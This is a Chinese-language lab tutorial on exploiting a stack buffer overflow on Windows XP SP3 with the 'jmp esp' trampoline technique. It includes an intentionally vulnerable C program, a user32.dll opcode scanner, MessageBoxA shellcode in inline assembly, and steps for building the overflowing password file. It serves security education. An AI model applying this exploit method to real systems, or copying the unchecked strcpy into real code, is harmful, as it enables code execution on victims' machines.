04.棧溢出實(shí)驗(yàn)-引入跳板技術(shù)


一.  實(shí)驗(yàn)環(huán)境:


操作系統(tǒng):Windows XP SP3

開(kāi)發(fā)環(huán)境:VC++ 6.0

調(diào)試器:Ollydbg


二.  實(shí)驗(yàn)代碼:


棧溢出程序

#include <stdio.h>

#include <windows.h>

#define PASSWORD "1234567"

int verify_password (char *password)

{

    int authenticated;

    char buffer[44];

    authenticated=strcmp(password,PASSWORD);

    strcpy(buffer,password);

    return authenticated;

}

main()

{

    int valid_flag=0;

    char password[1024];

    FILE * fp;

    LoadLibrary("user32.dll");

    if(!(fp=fopen("password.txt","rw+")))

    {

        exit(0);

    }

    fscanf(fp,"%s",password);

    valid_flag = verify_password(password);

    if(valid_flag)

    {

        printf("incorrect password!n");

    }

    else

    {

        printf("Congratulation! You have passed the verification!n");

    }

    fclose(fp);

}


查找OPCODE代碼


#include <windows.h>

#include <stdio.h>

#define DLL_NAME "user32.dll"

main()

{

    BYTE* ptr;

    int position,address;

    HINSTANCE handle;

    BOOL done_flag = FALSE;

    handle=LoadLibrary(DLL_NAME);

    if(!handle)

    {

        printf(" load dll erro !");

        exit(0);

    }

    ptr = (BYTE*)handle;

    for(position = 0; !done_flag; position++)

    {

        try

        {

            if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)

            {

                //0xFFE4 is the opcode of jmp esp

                int address = (int)ptr + position;

                printf("OPCODE found at 0x%xn",address);

            }

        }

        catch(...)

        {

            int address = (int)ptr + position;

            printf("END OF 0x%xn", address);

            done_flag = true;

        }

    }

}


Shellcode提取代碼


#include <windows.h>

int main()

{  

    HINSTANCE LibHandle;

    char dllbuf[11] = "user32.dll";

    LibHandle = LoadLibrary(dllbuf);

    _asm{

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                sub sp,0x440

                xor ebx,ebx

                push ebx // cut string

                push 0x00000072

                push 0x69766B72

                mov eax,esp //load address of rkvir

                push ebx

                push eax

                push eax

                push ebx

                mov  eax, 0x77D507EA//(0x77D507EA) address should be reset in different OS

                call eax  //call MessageboxA

                push ebx

                mov eax,0x7C81CAFA //(0x7C81CAFA) address should be reset in different OS

                call eax //call exit(0)

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

                nop

    }

}


三.  實(shí)戰(zhàn)調(diào)試


本次實(shí)戰(zhàn)著重描述跳板技術(shù)的使用,之所以要引入跳板技術(shù),是因?yàn)樵趯?shí)際的漏洞中,缺陷函數(shù)有可能是動(dòng)態(tài)加載的DLL,所以緩沖區(qū)起始位置并不能固定,這意味著我們前幾節(jié)所使用的手工查找緩沖區(qū)位置的方法并不適用于大部分情況,因此我們需要一種新的技術(shù),可以有效控制指令可以執(zhí)行到我們需要的位置上。接下來(lái)會(huì)詳細(xì)描述跳板技術(shù)的應(yīng)用,使用的溢出代碼與前一節(jié)相同。


1.   一般情況下,在函數(shù)返回后,ESP都指向返回地址的下一行


2.   這就意味著,如果我們把shellcode放在返回地址后面,然后再使返回地址指向返回地址后面一行,就可以成功執(zhí)行我們的shellcode了,既然ESP指向這一行,那么我們只需要尋找一個(gè)jmp esp指令的地址放到返回地址的位置上就可以了。這個(gè)jmp esp指令最好位于這個(gè)溢出程序必然會(huì)加載的模塊中,例如我們現(xiàn)在使用的這個(gè)溢出程序加載了user32.dll,那么我們就可以在user32.dll中尋找一個(gè)jmp esp。尋找jmp esp有很多種方法,例如使用ollydbg的腳本或者windbg的腳本等等。這里我們使用一段代碼來(lái)搜索user32的編碼。就是實(shí)驗(yàn)代碼中提供的查找opcode代碼。修改圖中紅框的內(nèi)容為自己想要搜索的模塊就可以搜索其他模塊。

   


3.         我們隨便選擇一個(gè)地址,然后還需要通過(guò)上一節(jié)查找API入口地址的方法查找MessageBoxA和ExitProcess的地址。(此方法查找的API入口地址不具備通用性,動(dòng)態(tài)查找函數(shù)地址的方法會(huì)在后續(xù)詳細(xì)描述。)


4.         獲取到我們需要的所有地址后我們就可以開(kāi)始構(gòu)造shellcode了。我們現(xiàn)在暫時(shí)還不考慮如何使用高級(jí)語(yǔ)言或者匯編語(yǔ)言實(shí)現(xiàn)shellcode的編碼,直接使用實(shí)驗(yàn)代碼,將地址替換成本地地址后編譯成可執(zhí)行程序,如果可以成功彈框,并且點(diǎn)擊確定后成功推出程序,就說(shuō)明本地地址提取的沒(méi)有問(wèn)題。


5.         接下來(lái)使用Ollydbg打開(kāi)程序,找到這段代碼,提取出機(jī)器碼。


6.         接下來(lái)構(gòu)造password.txt,已知緩沖區(qū)長(zhǎng)度是44,那么返回地址前面就需要有長(zhǎng)度為52的字符串。這個(gè)字符串可以隨便填充,然后填充jmp esp的地址,注意小端序。最后把剛剛提取的shellcode粘貼進(jìn)去。


7.         接下來(lái)執(zhí)行溢出程序,成功彈出,點(diǎn)擊確定后執(zhí)行退出函數(shù)成功。

?